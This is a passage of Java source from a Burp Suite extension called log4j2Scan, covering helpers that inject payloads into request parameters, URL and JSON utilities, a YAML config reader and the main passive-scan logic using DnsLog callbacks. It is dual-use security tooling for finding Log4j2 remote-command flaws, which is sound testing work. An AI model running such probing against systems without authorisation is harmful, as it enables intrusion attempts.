{ 115 | for (String h : this.analyzeRequest().getHeaders()) { 116 | if (!CustomHelpers.listKeySearch(h.split(": ")[0] + ": ", headers)) { 117 | newHeaders.add(h); 118 | } 119 | } 120 | newHeaders.addAll(headers); 121 | } else { 122 | newHeaders = this.analyzeRequest().getHeaders(); 123 | } 124 | 125 | // 数据处理 126 | if (p.getType() == 0 || p.getType() == 1 || p.getType() == 2) { 127 | // 数据为,GET,POST,COOKIE时的处理 128 | newRequest = this.buildBaseParameter(p, payload, newHeaders); 129 | } else { 130 | // 其它数据格式请求处理方法 131 | newRequest = this.buildHttpMessage(p, payload, newHeaders); 132 | } 133 | 134 | IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(this.requestResponse().getHttpService(), newRequest); 135 | return newHttpRequestResponse; 136 | } 137 | 138 | /** 139 | * 普通数据格式的请求处理方法 140 | * 141 | * @param p 142 | * @param payload 143 | * @param headers 144 | * @return 145 | */ 146 | private byte[] buildBaseParameter(IParameter p, String payload, List headers) { 147 | byte[] request = this.requestResponse().getRequest(); 148 | String requestBody = this.customBurpHelpers.getHttpRequestBody(request); 149 | 150 | // 添加header头 151 | byte[] newRequest = this.helpers.buildHttpMessage(headers, requestBody.getBytes()); 152 | 153 | IParameter newParameter = this.helpers.buildParameter(p.getName(), payload, p.getType()); 154 | 155 | return this.helpers.updateParameter(newRequest, newParameter); 156 | } 157 | 158 | /** 159 | * 其它数据格式请求处理方法 160 | * 161 | * @param p 162 | * @param payload 163 | * @param headers 164 | * @return 165 | */ 166 | private byte[] buildHttpMessage(IParameter p, String payload, List headers) { 167 | byte[] request = this.requestResponse().getRequest(); 168 | request = CustomHelpers.substringReplace(new String(request), p.getValueStart(), p.getValueEnd(), payload).getBytes(); 169 | String requestBody = this.customBurpHelpers.getHttpRequestBody(request); 170 | byte[] newRequest = this.helpers.buildHttpMessage(headers, requestBody.getBytes()); 171 | return newRequest; 172 | } 173 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomBurpHelpers.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.io.File; 4 | import java.io.UnsupportedEncodingException; 5 | 6 | import burp.*; 7 | 8 | public class CustomBurpHelpers { 9 | private IBurpExtenderCallbacks callbacks; 10 | private IExtensionHelpers helpers; 11 | 12 | public CustomBurpHelpers(IBurpExtenderCallbacks callbacks) { 13 | this.callbacks = callbacks; 14 | this.helpers = callbacks.getHelpers(); 15 | } 16 | 17 | /** 18 | * 获取-插件运行路径 19 | * 20 | * @return 21 | */ 22 | public String getExtensionFilePath() { 23 | String path = ""; 24 | Integer lastIndex = this.callbacks.getExtensionFilename().lastIndexOf(File.separator); 25 | path = this.callbacks.getExtensionFilename().substring(0, lastIndex) + File.separator; 26 | return path; 27 | } 28 | 29 | /** 30 | * 获取请求的Body内容 31 | * 32 | * @return String 33 | */ 34 | public String getHttpRequestBody(byte[] request) { 35 | IRequestInfo requestInfo = this.helpers.analyzeRequest(request); 36 | 37 | int httpRequestBodyOffset = requestInfo.getBodyOffset(); 38 | int httpRequestBodyLength = request.length - httpRequestBodyOffset; 39 | 40 | String httpRequestBody = null; 41 | try { 42 | httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8"); 43 | } catch (UnsupportedEncodingException e) { 44 | throw new RuntimeException(e); 45 | } 46 | return httpRequestBody; 47 | } 48 | 49 | /** 50 | * 获取响应的Body内容 51 | * 52 | * @return String 53 | */ 54 | public String getHttpResponseBody(byte[] response) { 55 | IResponseInfo responseInfo = this.helpers.analyzeResponse(response); 56 | 57 | int httpResponseBodyOffset = responseInfo.getBodyOffset(); 58 | int httpResponseBodyLength = response.length - httpResponseBodyOffset; 59 | 60 | String httpResponseBody = null; 61 | try { 62 | httpResponseBody = new String(response, httpResponseBodyOffset, httpResponseBodyLength, "UTF-8"); 63 | } catch (UnsupportedEncodingException e) { 64 | throw new RuntimeException(e); 65 | } 66 | return httpResponseBody; 67 | } 68 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomBurpUrl.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.net.URL; 4 | import java.io.PrintWriter; 5 | import java.net.MalformedURLException; 6 | 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IBurpExtenderCallbacks; 10 | 11 | public class CustomBurpUrl { 12 | private IBurpExtenderCallbacks callbacks; 13 | private IExtensionHelpers helpers; 14 | 15 | public PrintWriter stderr; 16 | 17 | private IHttpRequestResponse requestResponse; 18 | 19 | public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) { 20 | this.callbacks = callbacks; 21 | this.helpers = callbacks.getHelpers(); 22 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 23 | 24 | this.requestResponse = requestResponse; 25 | } 26 | 27 | public IHttpRequestResponse requestResponse() { 28 | return this.requestResponse; 29 | } 30 | 31 | /** 32 | * 获取-请求协议 33 | * 34 | * @return 35 | */ 36 | public String getRequestProtocol() { 37 | return this.requestResponse.getHttpService().getProtocol(); 38 | } 39 | 40 | /** 41 | * 获取-请求主机 42 | * 43 | * @return 44 | */ 45 | public String getRequestHost() { 46 | return this.requestResponse.getHttpService().getHost(); 47 | } 48 | 49 | /** 50 | * 获取-请求端口 51 | * 52 | * @return 53 | */ 54 | public int getRequestPort() { 55 | return this.requestResponse.getHttpService().getPort(); 56 | } 57 | 58 | /** 59 | * 获取-请求路径 60 | * 61 | * @return 62 | */ 63 | public String getRequestPath() { 64 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath(); 65 | } 66 | 67 | /** 68 | * 获取-请求参数 69 | * 70 | * @return 71 | */ 72 | public String getRequestQuery() { 73 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery(); 74 | } 75 | 76 | /** 77 | * 获取-请求域名名称 78 | * 79 | * @return 80 | */ 81 | public String getRequestDomainName() { 82 | if (this.getRequestPort() == 80 || this.getRequestPort() == 443) { 83 | return this.getRequestProtocol() + "://" + this.getRequestHost(); 84 | } else { 85 | return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort(); 86 | } 87 | } 88 | 89 | /** 90 | * 获取-获取http请求url 91 | * 92 | * @return 93 | */ 94 | public URL getHttpRequestUrl() { 95 | try { 96 | if (this.getRequestQuery() == null) { 97 | return new URL(this.getRequestDomainName() + this.getRequestPath()); 98 | } else { 99 | return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery()); 100 | } 101 | } catch (MalformedURLException e) { 102 | e.printStackTrace(this.stderr); 103 | } 104 | return null; 105 | } 106 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomHelpers.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.*; 4 | 5 | import com.alibaba.fastjson.JSONArray; 6 | import com.alibaba.fastjson.JSONObject; 7 | import com.alibaba.fastjson.parser.ParserConfig; 8 | 9 | public class CustomHelpers { 10 | /** 11 | * 随机取若干个字符 12 | * 13 | * @param number 14 | * @return String 15 | */ 16 | public static String randomStr(int number) { 17 | StringBuffer s = new StringBuffer(); 18 | char[] stringArray = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 19 | 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 20 | 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', 21 | '7', '8', '9'}; 22 | Random random = new Random(); 23 | for (int i = 0; i < number; i++) { 24 | char num = stringArray[random.nextInt(stringArray.length)]; 25 | s.append(num); 26 | } 27 | return s.toString(); 28 | } 29 | 30 | /** 31 | * 获取精确到秒的时间戳 32 | * 33 | * @param date 34 | * @return Integer 35 | */ 36 | public static Integer getSecondTimestamp(Date date) { 37 | if (null == date) { 38 | return 0; 39 | } 40 | String timestamp = String.valueOf(date.getTime() / 1000); 41 | return Integer.valueOf(timestamp); 42 | } 43 | 44 | /** 45 | * 判断某个List中是否存在指定的key 46 | * 注意: 大小写不区分 47 | * 如果该 key 存在, 则返回 true, 否则返回 false。 48 | * 49 | * @param val1 规定要查找的字符串 50 | * @param l1 规定要搜索的List 51 | * @return 52 | */ 53 | public static Boolean listKeyExists(String val1, List l1) { 54 | for (String s : l1) { 55 | if (s.toLowerCase().equals(val1.toLowerCase())) { 56 | return true; 57 | } 58 | } 59 | return false; 60 | } 61 | 62 | /** 63 | * 判断某个List中是否搜索的到指定的key 64 | * 注意: 大小写不区分 65 | * 如果该 key 存在, 则返回 true, 否则返回 false。 66 | * 67 | * @param val1 规定要查找的字符串 68 | * @param l1 规定要搜索的List 69 | * @return 70 | */ 71 | public static Boolean listKeySearch(String val1, List l1) { 72 | for (String s : l1) { 73 | if (s.toLowerCase().contains(val1.toLowerCase())) { 74 | return true; 75 | } 76 | } 77 | return false; 78 | } 79 | 80 | /** 81 | * 获取参数数据 82 | * 例如: 83 | * getParam("token=xx;Identifier=xxx;", "token"); 返回: xx 84 | * 85 | * @param d 被查找的数据 86 | * @param paramName 要查找的字段 87 | * @return 88 | */ 89 | public static String getParam(final String d, final String paramName) { 90 | if (d == null || d.length() == 0) 91 | return null; 92 | 93 | String value = "test=test;" + d; 94 | 95 | final int length = value.length(); 96 | int start = value.indexOf(';') + 1; 97 | if (start == 0 || start == length) 98 | return null; 99 | 100 | int end = value.indexOf(';', start); 101 | if (end == -1) 102 | end = length; 103 | 104 | while (start < end) { 105 | int nameEnd = value.indexOf('=', start); 106 | if (nameEnd != -1 && nameEnd < end 107 | && paramName.equals(value.substring(start, nameEnd).trim())) { 108 | String paramValue = value.substring(nameEnd + 1, end).trim(); 109 | int valueLength = paramValue.length(); 110 | if (valueLength != 0) 111 | if (valueLength > 2 && '"' == paramValue.charAt(0) 112 | && '"' == paramValue.charAt(valueLength - 1)) 113 | return paramValue.substring(1, valueLength - 1); 114 | else 115 | return paramValue; 116 | } 117 | 118 | start = end + 1; 119 | end = value.indexOf(';', start); 120 | if (end == -1) 121 | end = length; 122 | } 123 | 124 | return null; 125 | } 126 | 127 | /** 128 | * 字符串截取替换 129 | * 130 | * @param val1 原字符串 131 | * @param val2 偏移值的开头位置 132 | * @param val3 偏移值的结束位置 133 | * @param val4 要替换的值 134 | * @return 135 | */ 136 | public static String substringReplace(String val1, int val2, int val3, String val4) { 137 | return val1.substring(0, val2) + val4 + val1.substring(val3); 138 | } 139 | 140 | /** 141 | * 判断是否为json 142 | * 143 | * @param str 144 | * @return 145 | */ 146 | public static boolean isJson(String str) { 147 | // 防止被日,一定要开 148 | ParserConfig.getGlobalInstance().setSafeMode(true); 149 | str = str.trim(); 150 | try { 151 | if (str == null || str.length() <= 0) { 152 | return false; 153 | } 154 | 155 | // 替换特殊字符, 156 | String randomStr = "$" + randomStr(20) + "$"; 157 | str = str.replace("@", randomStr); 158 | JSONObject.parseObject(str); 159 | return true; 160 | } catch (Exception e) { 161 | return false; 162 | } 163 | } 164 | 165 | /** 166 | * json字符串值替换 167 | * 该功能会递归将所有json的value替换成指定字符串 168 | * 169 | * @param var1 json字符串 170 | * @param var2 要被替换的内容 171 | * @return 172 | */ 173 | public static String jsonStringValueReplace(String var1, String var2) { 174 | // 防止被日,一定要开 175 | ParserConfig.getGlobalInstance().setSafeMode(true); 176 | 177 | // 替换特殊字符, 178 | String randomStr = "$" + randomStr(20) + "$"; 179 | var1 = var1.replace("@", randomStr); 180 | 181 | // 开始正式替换 182 | JSONObject jsonObject = JSONObject.parseObject(var1); 183 | for (String k : jsonObject.keySet()) { 184 | if (jsonObject.get(k) instanceof JSONArray) { 185 | JSONArray arr = JSONObject.parseArray(jsonObject.getString(k)); 186 | for (int i = 0; i < arr.size(); i++) { 187 | Object o = arr.get(i); 188 | arr.set(i, jsonStringValueReplace(o.toString(), var2)); 189 | } 190 | jsonObject.put(k, arr); 191 | } else { 192 | jsonObject.put(k, var2); 193 | } 194 | } 195 | 196 | // 返回,并且把前面的特殊字符,替换回来 197 | return jsonObject.toJSONString().replace(randomStr, "@"); 198 | } 199 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/GlobalVariableReader.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.Map; 4 | import java.util.concurrent.ConcurrentHashMap; 5 | 6 | public class GlobalVariableReader { 7 | private ConcurrentHashMap booleanMap; 8 | 9 | public GlobalVariableReader() { 10 | this.booleanMap = new ConcurrentHashMap(); 11 | } 12 | 13 | public Map getBooleanMap() { 14 | return this.booleanMap; 15 | } 16 | 17 | public Boolean getBooleanData(String key) { 18 | return this.getBooleanMap().get(key); 19 | } 20 | 21 | public void putBooleanData(String key, Boolean b) { 22 | if (key == null || key.length() <= 0) { 23 | throw new IllegalArgumentException("key不能为空"); 24 | } 25 | 26 | synchronized (this.getBooleanMap()) { 27 | this.getBooleanMap().put(key, b); 28 | } 29 | } 30 | 31 | public void delBooleanData(String key) { 32 | if (this.getBooleanMap().get(key) != null) { 33 | this.getBooleanMap().remove(key); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/YamlReader.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.Map; 4 | import java.util.List; 5 | import java.util.HashMap; 6 | import java.util.LinkedHashMap; 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.FileNotFoundException; 10 | import java.io.PrintWriter; 11 | 12 | import org.yaml.snakeyaml.Yaml; 13 | 14 | import burp.IBurpExtenderCallbacks; 15 | 16 | public class YamlReader { 17 | private static YamlReader instance; 18 | 19 | private static Map> properties = new HashMap<>(); 20 | 21 | private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException { 22 | CustomBurpHelpers customBurpHelpers = new CustomBurpHelpers(callbacks); 23 | String c = customBurpHelpers.getExtensionFilePath() + "resources/config.yml"; 24 | File f = new File(c); 25 | properties = new Yaml().load(new FileInputStream(f)); 26 | } 27 | 28 | public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) { 29 | if (instance == null) { 30 | try { 31 | instance = new YamlReader(callbacks); 32 | } catch (FileNotFoundException e) { 33 | e.printStackTrace(new PrintWriter(callbacks.getStderr(), true)); 34 | } 35 | } 36 | return instance; 37 | } 38 | 39 | /** 40 | * 获取yaml属性 41 | * 可通过 "." 循环调用 42 | * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d") 43 | * 44 | * @param key 45 | * @return 46 | */ 47 | public Object getValueByKey(String key) { 48 | String separator = "."; 49 | String[] separatorKeys = null; 50 | if (key.contains(separator)) { 51 | separatorKeys = key.split("\\."); 52 | } else { 53 | return properties.get(key); 54 | } 55 | Map> finalValue = new HashMap<>(); 56 | for (int i = 0; i < separatorKeys.length - 1; i++) { 57 | if (i == 0) { 58 | finalValue = (Map) properties.get(separatorKeys[i]); 59 | continue; 60 | } 61 | if (finalValue == null) { 62 | break; 63 | } 64 | finalValue = (Map) finalValue.get(separatorKeys[i]); 65 | } 66 | return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]); 67 | } 68 | 69 | public String getString(String key) { 70 | return String.valueOf(this.getValueByKey(key)); 71 | } 72 | 73 | public String getString(String key, String defaultValue) { 74 | if (null == this.getValueByKey(key)) { 75 | return defaultValue; 76 | } 77 | return String.valueOf(this.getValueByKey(key)); 78 | } 79 | 80 | public Boolean getBoolean(String key) { 81 | return (boolean) this.getValueByKey(key); 82 | } 83 | 84 | public Integer getInteger(String key) { 85 | return (Integer) this.getValueByKey(key); 86 | } 87 | 88 | public double getDouble(String key) { 89 | return (double) this.getValueByKey(key); 90 | } 91 | 92 | public List getStringList(String key) { 93 | return (List) this.getValueByKey(key); 94 | } 95 | 96 | public LinkedHashMap getLinkedHashMap(String key) { 97 | return (LinkedHashMap) this.getValueByKey(key); 98 | } 99 | } -------------------------------------------------------------------------------- /src/main/java/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.List; 4 | import java.util.Arrays; 5 | import java.util.ArrayList; 6 | import java.io.PrintWriter; 7 | import java.lang.reflect.InvocationTargetException; 8 | 9 | import burp.Ui.Tags; 10 | import burp.DnsLogModule.DnsLog; 11 | import burp.Bootstrap.YamlReader; 12 | import burp.Bootstrap.CustomBurpUrl; 13 | import burp.Bootstrap.BurpAnalyzedRequest; 14 | import burp.Bootstrap.GlobalVariableReader; 15 | import burp.CustomErrorException.TaskTimeoutException; 16 | import burp.Application.RemoteCmdExtension.RemoteCmd; 17 | 18 | public class BurpExtender implements IBurpExtender, IScannerCheck, IExtensionStateListener { 19 | public static String NAME = "log4j2Scan"; 20 | public static String VERSION = "1.6.3"; 21 | 22 | private GlobalVariableReader globalVariableReader; 23 | 24 | private IBurpExtenderCallbacks callbacks; 25 | private IExtensionHelpers helpers; 26 | 27 | private PrintWriter stdout; 28 | private PrintWriter stderr; 29 | 30 | private Tags tags; 31 | 32 | private YamlReader yamlReader; 33 | 34 | @Override 35 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 36 | this.callbacks = callbacks; 37 | this.helpers = callbacks.getHelpers(); 38 | 39 | this.stdout = new PrintWriter(callbacks.getStdout(), true); 40 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 41 | 42 | // 全局变量的数据保存地址 43 | // 用于在程序执行的过程中能够实时的修改变量数据使用 44 | this.globalVariableReader = new GlobalVariableReader(); 45 | 46 | // 是否卸载扩展 47 | // 用于卸载插件以后,把程序快速退出去,避免卡顿 48 | // true = 已被卸载, false = 未卸载 49 | this.globalVariableReader.putBooleanData("isExtensionUnload", false); 50 | 51 | // 标签界面 52 | this.tags = new Tags(callbacks, NAME); 53 | 54 | // 配置文件 55 | this.yamlReader = YamlReader.getInstance(callbacks); 56 | 57 | callbacks.setExtensionName(NAME); 58 | callbacks.registerScannerCheck(this); 59 | callbacks.registerExtensionStateListener(this); 60 | 61 | // 基本信息输出 62 | // 作者拿来臭美用的 ╰(*°▽°*)╯ 63 | this.stdout.println(basicInformationOutput()); 64 | } 65 | 66 | /** 67 | * 基本信息输出 68 | */ 69 | private static String basicInformationOutput() { 70 | String str1 = "===================================\n"; 71 | String str2 = String.format("%s 加载成功\n", NAME); 72 | String str3 = String.format("版本: %s\n", VERSION); 73 | String str4 = "===================================\n"; 74 | String detail = str1 + str2 + str3 + str4; 75 | return detail; 76 | } 77 | 78 | @Override 79 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) { 80 | List issues = new ArrayList<>(); 81 | 82 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist"); 83 | List domainNameWhitelist = this.yamlReader.getStringList("scan.domainName.whitelist"); 84 | 85 | // 基础url解析 86 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse); 87 | 88 | // 基础请求分析 89 | BurpAnalyzedRequest baseAnalyzedRequest = new BurpAnalyzedRequest(this.callbacks, this.tags, baseRequestResponse); 90 | 91 | // 消息等级-用于插件扫描队列界面的显示 92 | String messageLevel = this.yamlReader.getString("messageLevel"); 93 | 94 | // 判断是否开启插件 95 | if (!this.tags.getBaseSettingTagClass().isStart()) { 96 | return null; 97 | } 98 | 99 | // 判断域名黑名单 100 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) { 101 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) { 102 | return null; 103 | } 104 | } 105 | 106 | // 判断域名白名单 107 | if (domainNameWhitelist != null && domainNameWhitelist.size() >= 1) { 108 | if (!isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameWhitelist)) { 109 | return null; 110 | } 111 | } 112 | 113 | // 判断当前请求后缀,是否为url黑名单后缀 114 | if (this.isUrlBlackListSuffix(baseBurpUrl)) { 115 | return null; 116 | } 117 | 118 | // 判断是否有允许扫描的类型 119 | if (this.tags.getBaseSettingTagClass().getScanTypeList().size() == 0) { 120 | return null; 121 | } 122 | 123 | // 判断当前请求是否有符合扫描条件的参数 124 | if (!baseAnalyzedRequest.isSiteEligibleParameters()) { 125 | if (messageLevel.equals("ALL")) { 126 | this.tags.getScanQueueTagClass().add( 127 | "", 128 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 129 | baseBurpUrl.getHttpRequestUrl().toString(), 130 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 131 | "request parameter no eligible", 132 | baseRequestResponse 133 | ); 134 | } 135 | return null; 136 | } 137 | 138 | // 判断当前站点问题数量是否超出了 139 | Integer issueNumber = this.yamlReader.getInteger("scan.issueNumber"); 140 | if (issueNumber != 0) { 141 | Integer siteIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName()); 142 | if (siteIssueNumber >= issueNumber) { 143 | if (messageLevel.equals("ALL") || messageLevel.equals("INFO")) { 144 | this.tags.getScanQueueTagClass().add( 145 | "", 146 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 147 | baseBurpUrl.getHttpRequestUrl().toString(), 148 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 149 | "the number of website problems has exceeded", 150 | baseRequestResponse 151 | ); 152 | } 153 | return null; 154 | } 155 | } 156 | 157 | // 判断当前站点是否超出扫描数量了 158 | Integer siteScanNumber = this.yamlReader.getInteger("scan.siteScanNumber"); 159 | if (siteScanNumber != 0) { 160 | Integer siteNumber = this.getSiteNumber(baseBurpUrl.getRequestDomainName()); 161 | if (siteNumber >= siteScanNumber) { 162 | if (messageLevel.equals("ALL") || messageLevel.equals("INFO")) { 163 | this.tags.getScanQueueTagClass().add( 164 | "", 165 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 166 | baseBurpUrl.getHttpRequestUrl().toString(), 167 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 168 | "the number of website scans exceeded", 169 | baseRequestResponse 170 | ); 171 | } 172 | return null; 173 | } 174 | } 175 | 176 | // 添加任务到面板中等待检测 177 | int tagId = this.tags.getScanQueueTagClass().add( 178 | "", 179 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 180 | baseBurpUrl.getHttpRequestUrl().toString(), 181 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 182 | "waiting for test results", 183 | baseRequestResponse 184 | ); 185 | 186 | try { 187 | // 远程cmd扩展 188 | IScanIssue remoteCmdIssuesDetail = this.remoteCmdExtension(tagId, baseAnalyzedRequest); 189 | if (remoteCmdIssuesDetail != null) { 190 | issues.add(remoteCmdIssuesDetail); 191 | return issues; 192 | } 193 | 194 | // 未检测出来问题, 更新任务状态至任务栏面板 195 | this.tags.getScanQueueTagClass().save( 196 | tagId, 197 | "ALL", 198 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 199 | baseBurpUrl.getHttpRequestUrl().toString(), 200 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 201 | "[-] not found log4j2 command execution", 202 | baseRequestResponse 203 | ); 204 | } catch (TaskTimeoutException e) { 205 | this.stdout.println("========插件错误-超时错误============"); 206 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 207 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 208 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 209 | this.stdout.println("========================================"); 210 | this.stdout.println(" "); 211 | 212 | this.tags.getScanQueueTagClass().save( 213 | tagId, 214 | "", 215 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 216 | baseBurpUrl.getHttpRequestUrl().toString(), 217 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 218 | "[x] scan task timed out", 219 | baseRequestResponse 220 | ); 221 | 222 | e.printStackTrace(this.stderr); 223 | } catch (Exception e) { 224 | this.stdout.println("========插件错误-未知错误============"); 225 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 226 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 227 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 228 | this.stdout.println("========================================"); 229 | this.stdout.println(" "); 230 | 231 | this.tags.getScanQueueTagClass().save( 232 | tagId, 233 | "", 234 | this.helpers.analyzeRequest(baseRequestResponse).getMethod(), 235 | baseBurpUrl.getHttpRequestUrl().toString(), 236 | this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", 237 | "[x] unknown error", 238 | baseRequestResponse 239 | ); 240 | 241 | e.printStackTrace(this.stderr); 242 | } finally { 243 | this.stdout.println("================扫描完毕================"); 244 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 245 | this.stdout.println("========================================"); 246 | this.stdout.println(" "); 247 | 248 | return issues; 249 | } 250 | } 251 | 252 | @Override 253 | public List doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 254 | return null; 255 | } 256 | 257 | @Override 258 | public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) { 259 | return 0; 260 | } 261 | 262 | /** 263 | * 远程cmd扩展 264 | * 265 | * @param tagId 266 | * @param analyzedRequest 267 | * @return IScanIssue issues 268 | * @throws ClassNotFoundException 269 | * @throws NoSuchMethodException 270 | * @throws InvocationTargetException 271 | * @throws InstantiationException 272 | * @throws IllegalAccessException 273 | */ 274 | private IScanIssue remoteCmdExtension(int tagId, BurpAnalyzedRequest analyzedRequest) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { 275 | String provider = this.yamlReader.getString("application.remoteCmdExtension.config.provider"); 276 | 277 | if (!this.tags.getBaseSettingTagClass().isStartRemoteCmdExtension()) { 278 | return null; 279 | } 280 | 281 | DnsLog dnsLog = new DnsLog(this.callbacks, this.yamlReader.getString("dnsLogModule.provider")); 282 | RemoteCmd remoteCmd = new RemoteCmd(this.globalVariableReader, this.callbacks, analyzedRequest, dnsLog, this.yamlReader, provider); 283 | if (!remoteCmd.run().isIssue()) { 284 | return null; 285 | } 286 | 287 | IHttpRequestResponse httpRequestResponse = remoteCmd.run().getHttpRequestResponse(); 288 | 289 | this.tags.getScanQueueTagClass().save( 290 | tagId, 291 | remoteCmd.run().getExtensionName(), 292 | this.helpers.analyzeRequest(httpRequestResponse).getMethod(), 293 | new CustomBurpUrl(this.callbacks, httpRequestResponse).getHttpRequestUrl().toString(), 294 | this.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode() + "", 295 | "[+] found log4j2 command execution", 296 | remoteCmd.run().getHttpRequestResponse() 297 | ); 298 | 299 | remoteCmd.run().consoleExport(); 300 | return remoteCmd.run().export(); 301 | } 302 | 303 | /** 304 | * 判断是否url黑名单后缀 305 | * 大小写不区分 306 | * 是 = true, 否 = false 307 | * 308 | * @param burpUrl 309 | * @return 310 | */ 311 | private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) { 312 | if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) { 313 | return false; 314 | } 315 | 316 | String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0]; 317 | String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1); 318 | 319 | List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList"); 320 | if (suffixList == null || suffixList.size() == 0) { 321 | return false; 322 | } 323 | 324 | for (String s : suffixList) { 325 | if (s.toLowerCase().equals(urlSuffix.toLowerCase())) { 326 | return true; 327 | } 328 | } 329 | 330 | return false; 331 | } 332 | 333 | /** 334 | * 网站问题数量 335 | * 336 | * @param domainName 337 | * @return 338 | */ 339 | private Integer getSiteIssueNumber(String domainName) { 340 | Integer number = 0; 341 | 342 | String issueName = this.yamlReader.getString("application.remoteCmdExtension.config.issueName"); 343 | for (IScanIssue Issue : this.callbacks.getScanIssues(domainName)) { 344 | if (Issue.getIssueName().equals(issueName)) { 345 | number++; 346 | } 347 | } 348 | 349 | return number; 350 | } 351 | 352 | /** 353 | * 站点出现数量 354 | * 355 | * @param domainName 356 | * @return 357 | */ 358 | private Integer getSiteNumber(String domainName) { 359 | Integer number = 0; 360 | for (IHttpRequestResponse requestResponse : this.callbacks.getSiteMap(domainName)) { 361 | number++; 362 | } 363 | return number; 364 | } 365 | 366 | /** 367 | * 判断是否查找的到指定的域名 368 | * 369 | * @param domainName 需匹配的域名 370 | * @param domainNameList 待匹配的域名列表 371 | * @return 372 | */ 373 | private static Boolean isMatchDomainName(String domainName, List domainNameList) { 374 | domainName = domainName.trim(); 375 | 376 | if (domainName.length() <= 0) { 377 | return false; 378 | } 379 | 380 | if (domainNameList == null || domainNameList.size() <= 0) { 381 | return false; 382 | } 383 | 384 | if (domainName.contains(":")) { 385 | domainName = domainName.substring(0, domainName.indexOf(":")); 386 | } 387 | 388 | String reverseDomainName = new StringBuffer(domainName).reverse().toString(); 389 | 390 | for (String domainName2 : domainNameList) { 391 | domainName2 = domainName2.trim(); 392 | 393 | if (domainName2.length() <= 0) { 394 | continue; 395 | } 396 | 397 | if (domainName2.contains(":")) { 398 | domainName2 = domainName2.substring(0, domainName2.indexOf(":")); 399 | } 400 | 401 | String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString(); 402 | 403 | if (domainName.equals(domainName2)) { 404 | return true; 405 | } 406 | 407 | if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) { 408 | List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]"))); 409 | 410 | List splitDomainName2 = new 